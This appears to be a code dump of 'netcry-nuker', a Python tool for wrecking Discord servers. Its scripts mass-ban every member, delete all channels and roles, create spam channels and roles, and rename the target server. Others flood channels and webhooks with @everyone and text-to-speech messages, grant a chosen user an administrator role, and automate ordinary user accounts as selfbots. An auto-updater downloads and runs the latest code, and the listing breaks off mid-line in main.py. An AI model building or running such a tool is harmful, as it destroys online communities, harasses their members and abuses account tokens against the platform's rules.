├── .gitignore ├── README.md ├── commands ├── dallmessage.py ├── dwebhook.py ├── givadmin.py ├── massban.py ├── masschannel.py ├── massdelch.py ├── massleave.py ├── massrole.py ├── nuker.py ├── tspam.py ├── update.py └── webhook.py ├── main.py ├── requirements.txt ├── resources └── terminal.gif ├── setup.bat ├── setup.sh ├── start.bat ├── start.sh ├── token.txt └── version.txt /.gitignore: -------------------------------------------------------------------------------- 1 | /.idea/ 2 | token.txt 3 | 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | --- 7 | 8 | # How to contribute to this project 9 | Create a pull request 10 | 11 | We deeply value and appreciate the contributions of our contributors. 12 | -------------------------------------------------------------------------------- /commands/dallmessage.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import aiohttp 3 | import time 4 | import datetime 5 | 6 | 7 | async def questions(): 8 | with open("token.txt", "r") as file: 9 | token = file.readline().strip() 10 | 11 | if token == "": 12 | print("Empty token in token.txt") 13 | print("Ignore the error below i dont know how to fix it if you know how to fix it create a pull request") 14 | return 15 | 16 | selfbot = input("Selfbot? [y|n] ") 17 | if selfbot == "y": 18 | headers = {'Authorization': f'{token}', 19 | 'Content-Type': 'application/json'} 20 | elif selfbot == "n": 21 | headers = {'Authorization': f'Bot {token}', 22 | 'Content-Type': 'application/json'} 23 | else: 24 | print("Invalid answer") 25 | return None, None 26 | channel_id = input( 27 | "What channel ID do you wanna delete your messages from: ") 28 | return channel_id, headers 29 | 30 | 31 | async def get_messages(channel_id, user_id, headers): 32 | url = f"https://discord.com/api/v9/channels/{channel_id}/messages" 33 | params = { 34 | "limit": 100 35 | } 36 | messages = [] 37 | 38 | while True: 39 | async with aiohttp.ClientSession() as session: 40 | async with session.get(url, headers=headers, params=params) as response: 41 | if response.status == 200: 42 | data = await response.json() 43 | if len(data) == 0: 44 | break 45 | for message in data: 46 | if message['author']['id'] == user_id: 47 | messages.append(message) 48 | if len(data) < 100: 49 | break 50 | params["before"] = data[-1]["id"] 51 | elif response.status == 429: 52 | print("Rate limited. Waiting 10 seconds...") 53 | await asyncio.sleep(10) 54 | else: 55 | print("Failed to retrieve messages.") 56 | break 57 | 58 | return messages 59 | 60 | 61 | async def delete_messages(channel_id, messages, headers): 62 | success_count = 0 63 | async with aiohttp.ClientSession() as session: 64 | for message in messages: 65 | url = f"https://discord.com/api/v9/channels/{channel_id}/messages/{message['id']}" 66 | retry_count = 0 67 | while retry_count < 3: 68 | async with session.delete(url, headers=headers) as response: 69 | if response.status == 204: 70 | timestamp = datetime.datetime.strptime( 71 | message['timestamp'], "%Y-%m-%dT%H:%M:%S.%f%z") 72 | formatted_timestamp = timestamp.strftime( 73 | "%H:%M:%S %d/%m/%y") 74 | print( 75 | f"Deleted message: {message['content']} (Sent at: {formatted_timestamp})") 76 | await asyncio.sleep(0.3) 77 | success_count += 1 78 | break 79 | elif response.status == 429: 80 | print("Rate limited. Waiting 3 seconds...") 81 | await asyncio.sleep(3) 82 | retry_count += 1 83 | else: 84 | print( 85 | f"Failed to delete message with ID: {message['id']}") 86 | break 87 | 88 | return success_count 89 | 90 | 91 | async def main(): 92 | channel_id, headers = await questions() 93 | if channel_id is None or headers is None: 94 | return 95 | 96 | async with aiohttp.ClientSession() as session: 97 | async with session.get("https://discord.com/api/v9/users/@me", headers=headers) as response: 98 | data = await response.json() 99 | user_id = data['id'] 100 | 101 | messages = await get_messages(channel_id, user_id, headers) 102 | if len(messages) == 0: 103 | print("No messages found.") 104 | else: 105 | print(f"Found {len(messages)} messages") 106 | amount = input("Enter the amount of messages to delete (num/all): ") 107 | if amount != 'all': 108 | amount = int(amount) 109 | else: 110 | print("Deleting all messages...") 111 | amount = len(messages) 112 | deleted_count = await delete_messages(channel_id, messages[:amount], headers) 113 | print(f"Deleted {deleted_count} messages") 114 | 115 | 116 | if __name__ == "__main__": 117 | asyncio.run(main()) 118 | -------------------------------------------------------------------------------- /commands/dwebhook.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | def delete_webhook(): 4 | dwebhook = input("Webhook URL: ") 5 | response = requests.delete(dwebhook) 6 | 7 | if response.status_code == 204: 8 | print("Deleted webhook successfully!") 9 | elif response.status_code == 404: 10 | print("Error: Webhook doesn't exist") 11 | else: 12 | print(f"Error occurred: {response.status_code}") 13 | 14 | if __name__ == "__main__": 15 | delete_webhook() 16 | -------------------------------------------------------------------------------- /commands/givadmin.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import json 3 | 4 | def ball(): 5 | with open("token.txt", "r") as file: 6 | token = file.readline().strip() 7 | 8 | if token == "": 9 | print("Empty token") 10 | print("Ignore the error below i dont know how to fix it if you know how to fix it create a pull request") 11 | elif token == "single token here": 12 | print("You havent edited the file 'token.txt'.") 13 | print("Ignore the error below i dont know how to fix it if you know how to fix it create a pull request") 14 | else: 15 | print("This will only work with bot tokens") 16 | main(token) 17 | 18 | 19 | def create_role(token, guild_id, user_id, rname): 20 | create_role_url = f"https://discord.com/api/v9/guilds/{guild_id}/roles" 21 | 22 | headers = { 23 | "Authorization": f"Bot {token}", 24 | "Content-Type": "application/json" 25 | } 26 | 27 | data = { 28 | "name": f"{rname}", 29 | "permissions": "8", 30 | "color": 0, 31 | "hoist": False, 32 | "mentionable": False 33 | } 34 | 35 | response = requests.post(create_role_url, headers=headers, data=json.dumps(data)) 36 | 37 | if response.status_code == 200: 38 | role_data = response.json() 39 | role_id = role_data['id'] 40 | return role_id 41 | else: 42 | print(f"Failed to create role. Status Code: {response.status_code}") 43 | return None 44 | 45 | 46 | def assign_role(token, role_id, guild_id, user_id): 47 | modify_member_role_url = f"https://discord.com/api/v9/guilds/{guild_id}/members/{user_id}/roles/{role_id}" 48 | 49 | headers = { 50 | "Authorization": f"Bot {token}" 51 | } 52 | response = requests.put(modify_member_role_url, headers=headers) 53 | 54 | if response.status_code == 204: 55 | print("Role assigned successfully!") 56 | else: 57 | print(f"Failed to assign role to the user. Status Code: {response.status_code}") 58 | 59 | 60 | def main(token): 61 | guild_id = input("Enter the target guild id: ") 62 | user_id = input("Enter the target user id to get admin: ") 63 | rname = input("Enter the role name: ") 64 | role_id = create_role(token, guild_id, user_id, rname) 65 | print(f"Created role {role_id}") 66 | if role_id: 67 | assign_role(token, role_id, guild_id, user_id) 68 | 69 | 70 | ball() 71 | -------------------------------------------------------------------------------- /commands/massban.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import time 3 | import concurrent.futures 4 | from sys import exit 5 | 6 | def ball(): 7 | with open("token.txt", "r") as file: 8 | token = file.readline().strip() 9 | headers = {'Authorization': f'Bot {token}'} 10 | if token == "": 11 | print("Empty token") 12 | print("Ignore the error below; I don't know how to fix it. If you know how to fix it, create a pull request") 13 | elif token == "single token here": 14 | print("You haven't edited the file 'token.txt'.") 15 | print("Ignore the error below; I don't know how to fix it. If you know how to fix it, create a pull request") 16 | else: 17 | print("This will only work with bot tokens") 18 | try: 19 | massban(token, headers) 20 | except KeyboardInterrupt: 21 | exit() 22 | 23 | def massban(token, headers): 24 | guild_id = input("Enter the target guild id: ") 25 | whitelist = input( 26 | "Do you want to whitelist anyone from getting banned? (y/n): ") 27 | whitelistids = [] 28 | 29 | if whitelist.lower() == "y": 30 | while True: 31 | user_id = input( 32 | "Enter a user id you want to whitelist (or enter nothing to stop): ") 33 | if not user_id: 34 | break 35 | whitelistids.append(user_id) 36 | else: 37 | pass 38 | 39 | hm = requests.get( 40 | f'https://discord.com/api/v9/guilds/{guild_id}/members?limit=1000', headers=headers) 41 | if hm.status_code == 200: 42 | members = hm.json() 43 | with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: 44 | ban_tasks = [executor.submit( 45 | ban_member, guild_id, member['user']['id'], token, headers, whitelistids) for member in members] 46 | concurrent.futures.wait(ban_tasks) 47 | else: 48 | print(f"Error code: {hm.status_code}") 49 | 50 | 51 | def ban_member(guild_id, user_id, token, headers, whitelistids): 52 | if user_id in whitelistids: 53 | print(f"User {user_id} is whitelisted and won't be banned.") 54 | return 55 | 56 | response = requests.put( 57 | f'https://discord.com/api/v9/guilds/{guild_id}/bans/{user_id}', headers=headers) 58 | if response.status_code == 204: 59 | print(f"Banned {user_id}") 60 | elif response.status_code == 429: 61 | print(f"Rate limited, waiting 0.7 seconds... {response.status_code}") 62 | time.sleep(0.7) 63 | else: 64 | print(f"Failed to ban {user_id} {response.status_code}") 65 | 66 | 67 | ball() 68 | -------------------------------------------------------------------------------- /commands/masschannel.py: -------------------------------------------------------------------------------- 1 | import aiohttp 2 | import asyncio 3 | import json 4 | from sys import exit 5 | 6 | async def create_channel(session, target_id, channel_name, channel_type, headers): 7 | data = {'name': channel_name, 'type': channel_type} 8 | url = f'https://discord.com/api/v9/guilds/{target_id}/channels' 9 | async with session.post(url, json=data, headers=headers) as response: 10 | if response.status == 201: 11 | print(f"Channel '{channel_name}' created successfully.") 12 | elif response.status == 429: 13 | print("Rate limited, waiting 0.7 seconds...") 14 | await asyncio.sleep(0.7) 15 | else: 16 | print( 17 | f"Failed to create channel '{channel_name}'. Status code: {response.status}") 18 | 19 | 20 | async def main(): 21 | with open("token.txt", "r") as file: 22 | token = file.readline().strip() 23 | 24 | if token == "": 25 | print("Empty token in token.txt") 26 | print("Ignore the error below i dont know how to fix it if you know how to fix it create a pull request") 27 | return 28 | try: 29 | control = 0 30 | selfbot = input("Selfbot? [y|n] ") 31 | except: 32 | exit(1) 33 | 34 | if selfbot == "y": 35 | bottoken = True 36 | elif selfbot == "n": 37 | bottoken = False 38 | else: 39 | print("Invalid answer") 40 | pass 41 | 42 | if not bottoken: 43 | headers = {'Authorization': f'Bot {token}', 44 | 'Content-Type': 'application/json'} 45 | else: 46 | headers = {'Authorization': f'{token}', 47 | 'Content-Type': 'application/json'} 48 | 49 | target_id = input("Target guild ID: ") 50 | channel_name = input("Channel name: ") 51 | how_many = input("Number of channels to create: ") 52 | vc_or_text = input("Text channel or voice channel? [t|vc] ") 53 | if vc_or_text == "t": 54 | channel_type = 0 55 | elif vc_or_text == "vc": 56 | channel_type = 2 57 | else: 58 | print("Invalid option...") 59 | return 60 | 61 | async with aiohttp.ClientSession() as session: 62 | tasks = [] 63 | for _ in range(int(how_many)): 64 | tasks.append(create_channel(session, target_id, 65 | channel_name, channel_type, headers)) 66 | 67 | await asyncio.gather(*tasks) 68 | 69 | asyncio.run(main()) 70 | -------------------------------------------------------------------------------- /commands/massdelch.py: -------------------------------------------------------------------------------- 1 | import aiohttp 2 | import asyncio 3 | import json 4 | 5 | async def delete_channel(session, channel_id, headers): 6 | url = f'https://discord.com/api/v9/channels/{channel_id}' 7 | async with session.delete(url, headers=headers) as response: 8 | if response.status == 200: 9 | print(f"Channel '{channel_id}' deleted successfully.") 10 | elif response.status == 429: 11 | print("Rate limited waiting 0.7 seconds...") 12 | await asyncio.sleep(0.7) 13 | else: 14 | print(f"Failed to delete channel '{channel_id}'. Status code: {response.status}") 15 | 16 | async def delete_category(session, category_id, headers): 17 | url = f'https://discord.com/api/v9/channels/{category_id}' 18 | async with session.delete(url, headers=headers) as response: 19 | if response.status == 200: 20 | print(f"Category '{category_id}' deleted successfully.") 21 | elif response.status == 429: 22 | print("Rate limited waiting 0.7 seconds...") 23 | await asyncio.sleep(0.7) 24 | else: 25 | print(f"Failed to delete category '{category_id}'. Status code: {response.status}") 26 | 27 | async def main(): 28 | with open("token.txt", "r") as file: 29 | token = file.readline().strip() 30 | 31 | if token == "": 32 | print("Empty token in token.txt") 33 | print("Ignore the error below i dont know how to fix it if you know how to fix it create a pull request") 34 | return 35 | 36 | selfbot = input("Selfbot? [y|n] ") 37 | if selfbot == "y": 38 | bottoken = True 39 | elif selfbot == "n": 40 | bottoken = False 41 | else: 42 | print("Invalid answer") 43 | return 44 | 45 | if not bottoken: 46 | headers = {'Authorization': f'Bot {token}', 'Content-Type': 'application/json'} 47 | else: 48 | headers = {'Authorization': f'{token}', 'Content-Type': 'application/json'} 49 | target_id = input("Target guild ID: ") 50 | 51 | async with aiohttp.ClientSession() as session: 52 | channels_url = f'https://discord.com/api/v9/guilds/{target_id}/channels' 53 | async with session.get(channels_url, headers=headers) as response: 54 | if response.status == 200: 55 | channels_data = await response.json() 56 | 57 | tasks = [] 58 | for channel in channels_data: 59 | channel_id = channel['id'] 60 | channel_type = channel['type'] 61 | 62 | if channel_type == 4: # Category 63 | tasks.append(delete_category(session, channel_id, headers)) 64 | else: # Text or Voice Channel 65 | tasks.append(delete_channel(session, channel_id, headers)) 66 | 67 | await asyncio.gather(*tasks) 68 | 69 | elif response.status == 429: 70 | print("Rate limited, waiting 0.7 seconds...") 71 | await asyncio.sleep(0.7) 72 | else: 73 | print(f"Failed to fetch channels. Status code: {response.status}") 74 | 75 | asyncio.run(main()) 76 | -------------------------------------------------------------------------------- /commands/massleave.py: -------------------------------------------------------------------------------- 1 | import aiohttp 2 | import asyncio 3 | import os 4 | import sys 5 | 6 | 7 | async def main(): 8 | with open("token.txt", "r") as file: 9 | token = file.readline().strip() 10 | if token == "": 11 | print("Empty token") 12 | sys.exit(1) 13 | elif token == "single token here": 14 | print("You haven't edited the file 'token.txt'.") 15 | sys.exit(1) 16 | 17 | question = input("Are you using a selfbot? (y/n) ") 18 | if question == "y": 19 | headers = {"Authorization": token} 20 | await massleave(headers) 21 | elif question == "n": 22 | headers = {"Authorization": f"Bot {token}"} 23 | await massleave(headers) 24 | else: 25 | os.system("cls" if os.name == "nt" else "clear") 26 | print("That's not a valid choice") 27 | await main() 28 | 29 | 30 | async def massleave(headers): 31 | whitelist = input("Do you want to whitelist any servers to not leave? (y/n): ") 32 | whitelistids = [] 33 | if whitelist.lower() == "y": 34 | while True: 35 | guild_id = input("Enter a guild id you want to whitelist (or enter nothing to stop): ") 36 | if not guild_id: 37 | break 38 | whitelistids.append(guild_id) 39 | elif whitelist.lower() == "n": 40 | pass 41 | else: 42 | print("That's not a valid choice.") 43 | await massleave(headers) 44 | 45 | async with aiohttp.ClientSession(headers=headers) as session: 46 | async with session.get("https://discord.com/api/v9/users/@me/guilds") as response: 47 | if response.status == 200: 48 | data = await response.json() 49 | 50 | guild_ids = [guild['id'] for guild in data] 51 | 52 | non_whitelisted_ids = [guild_id for guild_id in guild_ids if guild_id not in whitelistids] 53 | 54 | for non_whitelisted_id in non_whitelisted_ids: 55 | async with session.delete( 56 | f"https://discord.com/api/v9/users/@me/guilds/{non_whitelisted_id}") as leave_response: 57 | print(f"Left {non_whitelisted_id}") 58 | else: 59 | print("Failed to retrieve guilds. Status code:", response.status) 60 | 61 | 62 | if __name__ == "__main__": 63 | asyncio.run(main()) 64 | -------------------------------------------------------------------------------- /commands/massrole.py: -------------------------------------------------------------------------------- 1 | import aiohttp 2 | import asyncio 3 | import json 4 | import sys 5 | 6 | success = 0 7 | with open("token.txt", "r") as file: 8 | token = file.readline().strip() 9 | if token == "": 10 | print("Empty token") 11 | print("Ignore the error below i dont know how to fix it if you know how to fix it create a pull request") 12 | sys.exit(1) 13 | elif token == "single token here": 14 | print("You havent edited the file 'token.txt'.") 15 | print("Ignore the error below i dont know how to fix it if you know how to fix it create a pull request") 16 | sys.exit(1) 17 | headers = {'Authorization': f'Bot {token}'} 18 | print("This will only work with bot tokens") 19 | guild_id = input("Guild ID? ") 20 | rname = input("Role name? ") 21 | num_role = int(input("Number of roles? ")) 22 | 23 | async def start_bot(): 24 | async with aiohttp.ClientSession(headers=headers) as session: 25 | await create_roles(session) 26 | await session.close() 27 | 28 | async def create_roles(session): 29 | print("Creating roles...") 30 | create_role_url = f'https://discord.com/api/v9/guilds/{guild_id}/roles' 31 | create_tasks = [] 32 | max_retries = 3 33 | 34 | 35 | for i in range(num_role): 36 | 37 | create_role_payload = { 38 | 'name': f'{rname}', 39 | 'color': 0xffffff, 40 | 'hoist': True, 41 | 'mentionable': True 42 | } 43 | 44 | create_tasks.append(create_role_with_retries(session, create_role_url, create_role_payload, max_retries)) 45 | 46 | create_responses = await asyncio.gather(*create_tasks) 47 | 48 | async def create_role_with_retries(session, url, payload, max_retries): 49 | retries = 0 50 | while retries <= max_retries: 51 | try: 52 | response = await session.post(url, json=payload) 53 | if response.status == 429: 54 | print(f"Rate limited waiting 3 seconds... ({success}/{num_role})") 55 | await asyncio.sleep(3) 56 | retries += 1 57 | elif response.status == 200: 58 | print(f"Created {rname} sucessfully ({success}/{num_role})") 59 | success += 1 60 | else: 61 | print(f"Failed to create role, Error code:{response.status} ({success}/{num_role})") 62 | return response 63 | sys.exit(1) 64 | except Exception: 65 | retries += 1 66 | await asyncio.sleep(1) 67 | 68 | print(f"Request failed {max_retries} times, skipping...") 69 | return None 70 | 71 | asyncio.run(start_bot()) -------------------------------------------------------------------------------- /commands/nuker.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import aiohttp 3 | import sys 4 | import requests 5 | import json 6 | import threading 7 | 8 | 9 | with open("token.txt", "r") as file: 10 | token = file.readline().strip() 11 | if token == "": 12 | print("Empty token") 13 | print("Ignore the error below i dont know how to fix it if you know how to fix it create a pull request") 14 | sys.exit(1) 15 | elif token == "single token here": 16 | print("You havent edited the file 'token.txt'.") 17 | print("Ignore the error below i dont know how to fix it if you know how to fix it create a pull request") 18 | sys.exit(1) 19 | headers = {'Authorization': f'Bot {token}'} 20 | print("This will only work with bot tokens") 21 | guild_id = input("Guild ID? ") 22 | themessage = input("Enter message [Enter for default]: ") 23 | if themessage == "": 24 | themessage = "@everyone\n**Netcry was here** \n\nhttps://github.com/dropalways/netcry-nuker" 25 | sname = input("Enter new server name [Enter for default]: ") 26 | if sname == "": 27 | sname = "github.com/dropalways/netcry-nuker" 28 | num_channels = 50 29 | num_messages = 41 30 | num_roles = 40 31 | 32 | total_messages_sent = 0 33 | 34 | async def start_bot(): 35 | headers = {'Authorization': f'Bot {token}'} 36 | async with aiohttp.ClientSession(headers=headers) as session: 37 | await delete_all_roles(session) 38 | await create_roles(session) 39 | guild_url = f'https://discord.com/api/v9/guilds/{guild_id}' 40 | await delete_all_channels(session) 41 | await change_server_name(session, sname) 42 | await create_channels_and_spam(session) 43 | 44 | async def delete_all_channels(session): 45 | print("Deleting channels...") 46 | url = f'https://discord.com/api/v9/guilds/{guild_id}/channels' 47 | async with session.get(url) as response: 48 | if response.status == 200: 49 | channels = await response.json() 50 | delete_tasks = [] 51 | for channel in channels: 52 | channel_id = channel['id'] 53 | delete_url = f'https://discord.com/api/v9/channels/{channel_id}' 54 | delete_tasks.append(session.delete(delete_url)) 55 | await asyncio.gather(*delete_tasks) 56 | print("Deleted all channels.") 57 | else: 58 | print("Failed to retrieve channels") 59 | 60 | async def delete_all_roles(session): 61 | print("Deleting roles...") 62 | roles_url = f'https://discord.com/api/v9/guilds/{guild_id}/roles' 63 | async with session.get(roles_url) as response: 64 | if response.status == 200: 65 | roles = await response.json() 66 | delete_tasks = [] 67 | delete_count = 0 68 | for role in roles: 69 | role_id = role['id'] 70 | if role_id != guild_id and delete_count < len(roles) - num_roles: 71 | delete_url = f'https://discord.com/api/v9/guilds/{guild_id}/roles/{role_id}' 72 | delete_tasks.append(session.delete(delete_url)) 73 | delete_count += 1 74 | await asyncio.gather(*delete_tasks) 75 | print(f"Deleted {delete_count} roles") 76 | else: 77 | print("Failed to retrieve roles") 78 | 79 | async def create_roles(session): 80 | print("Creating roles...") 81 | rname = "Netcry on top" 82 | create_role_url = f'https://discord.com/api/v9/guilds/{guild_id}/roles' 83 | create_role_payload = { 84 | 'name': f'{rname}', 85 | 'color': 0xFF0000, 86 | 'hoist': True, 87 | 'mentionable': True 88 | } 89 | create_tasks = [] 90 | for _ in range(num_roles): 91 | create_tasks.append(session.post(create_role_url, json=create_role_payload)) 92 | create_responses = await asyncio.gather(*create_tasks) 93 | print("Made a shit ton of roles") 94 | 95 | async def create_channel_and_spam(session, create_channel_url, create_channel_payload, create_webhook_url, create_webhook_payload): 96 | global total_messages_sent 97 | 98 | async with session.post(create_channel_url, headers=headers, json=create_channel_payload) as create_response: 99 | if create_response.status == 201: 100 | channel = await create_response.json() 101 | channel_id = channel['id'] 102 | 103 | retry_attempts = 10 104 | for attempt in range(retry_attempts): 105 | create_webhook_response = await session.post(create_webhook_url.format(channel_id=channel_id), headers=headers, json=create_webhook_payload) 106 | if create_webhook_response.status == 200: 107 | webhook = await create_webhook_response.json() 108 | webhook_url = webhook['url'] 109 | print(f"Created Webhook: {webhook_url}") 110 | 111 | messages_sent = await spam_webhook(session, webhook_url) 112 | total_messages_sent += messages_sent 113 | break 114 | else: 115 | print(f"Failed to create webhook for channel: {channel_id}. Retrying ({attempt + 1}/{retry_attempts})...") 116 | await asyncio.sleep(0.7) 117 | else: 118 | print(f"Failed to create webhook for channel: {channel_id} after {retry_attempts} attempts.") 119 | 120 | else: 121 | print("Failed to create channel") 122 | 123 | 124 | async def create_channels_and_spam(session): 125 | print("Creating channels and webhooks...") 126 | headers = { 127 | 'Content-Type': 'application/json' 128 | } 129 | create_channel_url = f'https://discord.com/api/v9/guilds/{guild_id}/channels' 130 | create_channel_payload = { 131 | 'name': 'netcry-on-top', 132 | 'type': 0 133 | } 134 | create_webhook_url = f'https://discord.com/api/v9/channels/{{channel_id}}/webhooks' 135 | create_webhook_payload = { 136 | 'name': 'why are you looking at the webhook name | github.com/dropalways/netcry-nuker', 137 | } 138 | 139 | create_tasks = [] 140 | for _ in range(num_channels): 141 | create_task = asyncio.ensure_future(create_channel_and_spam(session, create_channel_url, create_channel_payload, create_webhook_url, create_webhook_payload)) 142 | create_tasks.append(create_task) 143 | 144 | await asyncio.gather(*create_tasks) 145 | 146 | print(f"Total messages sent: {total_messages_sent}") 147 | 148 | 149 | async def change_server_name(session, sname): 150 | print("Changing server name...") 151 | url = f'https://discord.com/api/v9/guilds/{guild_id}' 152 | headers = { 153 | 'Content-Type': 'application/json' 154 | } 155 | payload = { 156 | 'name': sname 157 | } 158 | async with session.patch(url, headers=headers, json=payload) as response: 159 | if response.status == 200: 160 | print(f"Server name changed to: {sname}") 161 | else: 162 | print("Failed to change server name") 163 | 164 | async def spam_webhook(session, webhook_url): 165 | messages_sent = 0 166 | 167 | message = { 168 | "content": f"{themessage}", 169 | 'username': 'github.com/dropalways/netcry-nuker', 170 | "avatar_url": "https://cdn.discordapp.com/emojis/1130231841073414294.gif?size=44&quality=lossless", 171 | "components": [ 172 | { 173 | "type": 1, 174 | "components": [ 175 | { 176 | "type": 2, 177 | "style": 5, 178 | "label": "Download", 179 | "url": "https://github.com/dropalways/netcry-nuker" 180 | } 181 | ] 182 | } 183 | ] 184 | } 185 | 186 | while messages_sent < num_messages: 187 | async with session.post(webhook_url, json=message) as response: 188 | if response.status == 204: 189 | print(f"Sent: {webhook_url}") 190 | messages_sent += 1 191 | 192 | print(f"Retrying: {webhook_url}") 193 | 194 | return messages_sent 195 | 196 | asyncio.run(start_bot()) 197 | #cHJvcGVydHkgb2YgYTFsdw 198 | -------------------------------------------------------------------------------- /commands/tspam.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import time 3 | import sys 4 | 5 | def spam(): 6 | global successful 7 | 8 | while successful < num: 9 | response = requests.post(f"https://discord.com/api/v9/channels/{channel_id}/messages", headers=headers, json=json) 10 | if response.status_code == 200: 11 | successful += 1 12 | print(f"Message sent! ({successful}/{num})") 13 | time.sleep(0.2) 14 | elif response.status_code == 429: 15 | print("Ratelimited, waiting 3 seconds...") 16 | time.sleep(3) 17 | else: 18 | print(f"Error occurred {response.status_code}") 19 | 20 | with open("token.txt", "r") as file: 21 | token = file.readline().strip() 22 | if token == "": 23 | print("Empty token") 24 | print("Ignore the error below i dont know how to fix it if you know how to fix it create a pull request") 25 | sys.exit(1) 26 | elif token == "single token here": 27 | print("You havent edited the file 'token.txt'.") 28 | print("Ignore the error below i dont know how to fix it if you know how to fix it create a pull request") 29 | sys.exit(1) 30 | 31 | stoken = input("Is this a user token? [y/n] ") 32 | if stoken == "y": 33 | headers = {'Authorization': f'{token}'} 34 | elif stoken == "n": 35 | headers = {'Authorization': f'Bot {token}'} 36 | else: 37 | print("Incorrect answer") 38 | sys.exit(1) 39 | 40 | message = input("Message? ") 41 | num = int(input("How many messages? ")) 42 | channel_id = input("Channel id? ") 43 | json = {"content": f'{message}'} 44 | successful = 0 45 | spam() 46 | -------------------------------------------------------------------------------- /commands/update.py: -------------------------------------------------------------------------------- 1 | import shutil 2 | import tempfile 3 | import requests 4 | import sys 5 | import time 6 | import os 7 | import subprocess 8 | 9 | 10 | def update(): 11 | response = requests.get("https://raw.githubusercontent.com/dropalways/netcry-nuker/main/version.txt") 12 | with open("version.txt", "r") as file: 13 | localversion = file.readline().strip() 14 | 15 | if localversion < response.text: 16 | print(f"Local version is: {localversion} Latest: {response.text}") 17 | response = requests.get("https://github.com/dropalways/netcry-nuker/archive/refs/heads/main.zip") 18 | if response.status_code == 200: 19 | print("Downloaded latest release") 20 | temp_dir = tempfile.mkdtemp() 21 | update_zip_path = os.path.join(temp_dir, 'update.zip') 22 | with open(update_zip_path, 'wb') as update_file: 23 | update_file.write(response.content) 24 | 25 | shutil.unpack_archive(update_zip_path, extract_dir=temp_dir) 26 | 27 | latest_files_dir = os.path.join(temp_dir, 'netcry-nuker-main') 28 | shutil.copytree(latest_files_dir, ".", dirs_exist_ok=True) 29 | 30 | print("Update installed successfully.") 31 | subprocess.run(f"start cmd /k python main.py", shell=True) 32 | sys.exit(0) 33 | else: 34 | print("Failed to download latest release") 35 | elif response.status_code != 200: 36 | print(f"Couldn't update. Error code: {response.status_code}") 37 | 38 | 39 | update() 40 | -------------------------------------------------------------------------------- /commands/webhook.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import aiohttp 3 | 4 | async def send_message(session, webhook_url, message_content, username, successful_messages, num_messages): 5 | payload = {'content': f'{message_content}', 'tts': True, 'username': username} 6 | 7 | async with session.post(webhook_url, json=payload) as response: 8 | if response.status == 204: 9 | successful_messages += 1 10 | print(f"Message sent successfully. ({successful_messages}/{num_messages})") 11 | return True 12 | elif response.status == 429: 13 | print("Rate limited, retrying after 2 seconds...") 14 | await asyncio.sleep(2) 15 | return False 16 | else: 17 | print("Failed to send message. Retrying...") 18 | return False 19 | 20 | async def webhook_spammer(): 21 | webhook_url = input("Webhook URL: ") 22 | message_content = input("Message: ") 23 | username = input("Webhook username: ") 24 | num_messages = int(input("Number of messages to send: ")) 25 | 26 | successful_messages = 0 27 | 28 | async with aiohttp.ClientSession() as session: 29 | while successful_messages < num_messages: 30 | try: 31 | success = await send_message(session, webhook_url, message_content, username, successful_messages, num_messages) 32 | if success: 33 | successful_messages += 1 34 | except: 35 | print("An error occurred while sending the message. Retrying...") 36 | 37 | print("Total messages sent:", successful_messages) 38 | 39 | asyncio.run(webhook_spammer()) 40 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | from pystyle import Write, Colors 2 | from colorama import Fore, init 3 | import requests 4 | import time 5 | import os 6 | import subprocess 7 | import sys 8 | import tempfile 9 | import shutil 10 | import random 11 | import easygui 12 | 13 | sys.dont_write_bytecode = True 14 | 15 | init() 16 | 17 | commands = { 18 | "1": "massban", 19 | "2": "masschannel", 20 | "3": "massdelch", 21 | "4": "webhook", 22 | "5": "dwebhook", 23 | "6": "nuker", 24 | "7": "tspam", 25 | "8": "givadmin", 26 | "9": "massrole", 27 | "10": "dallmessage", 28 | "11": "massleave", 29 | "update": "update", 30 | "exit": sys.exit, 31 | "mass ban": "massban", 32 | "mass create channels": "masschannel", 33 | "delete all channels": "massdelch" 34 | } 35 | 36 | 37 | def banner(): 38 | banner_text = """ 39 | __ 40 | ____ ___ / /_____________ __ 41 | / __ \/ _ \/ __/ ___/ ___/ / / / 42 | / / / / __/ /_/ /__/ / / /_/ / 43 | /_/ /_/\___/\__/\___/_/ \__, / 44 | /____/ 45 | """ 46 | print(Fore.MAGENTA + banner_text) 47 | 48 | 49 | def update(): 50 | temp_dir = tempfile.mkdtemp() 51 | shutil.copy("commands/update.py", temp_dir) 52 | print(temp_dir) 53 | subprocess.run(f"start cmd /k python {temp_dir}/update.py", shell=True) 54 | sys.exit(0) 55 | 56 | 57 | def main(): 58 | response = requests.get( 59 | "https://raw.githubusercontent.com/dropalways/netcry-nuker/main/version.txt") # get latest version 60 | with open("version.txt", "r") as file: 61 | localversion = file.readline().strip() # save local version as variable 62 | if localversion < response.text: # compare local version to latest version 63 | rng = random.randint(1, 10) 64 | if rng == 7: # 1/10 chance of displaying this message 65 | result = easygui.buttonbox( 66 | f"Current version({localversion}) isn't up to date with the latest release({response.text}). Do you want to install the latest version?", 67 | title="Netcry", choices=["OK", "No"]) 68 | # root = tk.Tk() 69 | # root.title("Netcry") 70 | # root.geometry("0x0") 71 | # root.iconify() 72 | # update_question = messagebox.askyesno("Netcry", f"Current version({localversion}) isn't up to date with latest release({response.text}) Do you want to install the latest version?", icon='warning') 73 | # if update_question: 74 | # update() 75 | # root.destroy() 76 | # else: 77 | # root.destroy() 78 | # root.mainloop() 79 | if result == "OK": 80 | update() 81 | else: 82 | pass 83 | os.system('clear' if os.name != 'nt' else 'cls') 84 | os.system(f"title Netcry") 85 | with open("token.txt", "r") as file: 86 | token = file.readline().strip() 87 | if token == "": 88 | print("Empty token") 89 | sys.exit(1) 90 | elif token == "single token here": 91 | print("You havent edited the file 'token.txt'.") 92 | sys.exit(1) 93 | 94 | headers = {'Authorization': f'Bot {token}'} 95 | response = requests.get( 96 | "https://discord.com/api/v9/users/@me", headers=headers) 97 | 98 | if response.status_code == 200: 99 | data = response.json() 100 | user_id = data['id'] 101 | invite_link = f"https://discord.com/api/oauth2/authorize?client_id={user_id}&permissions=8&scope=bot" 102 | options = 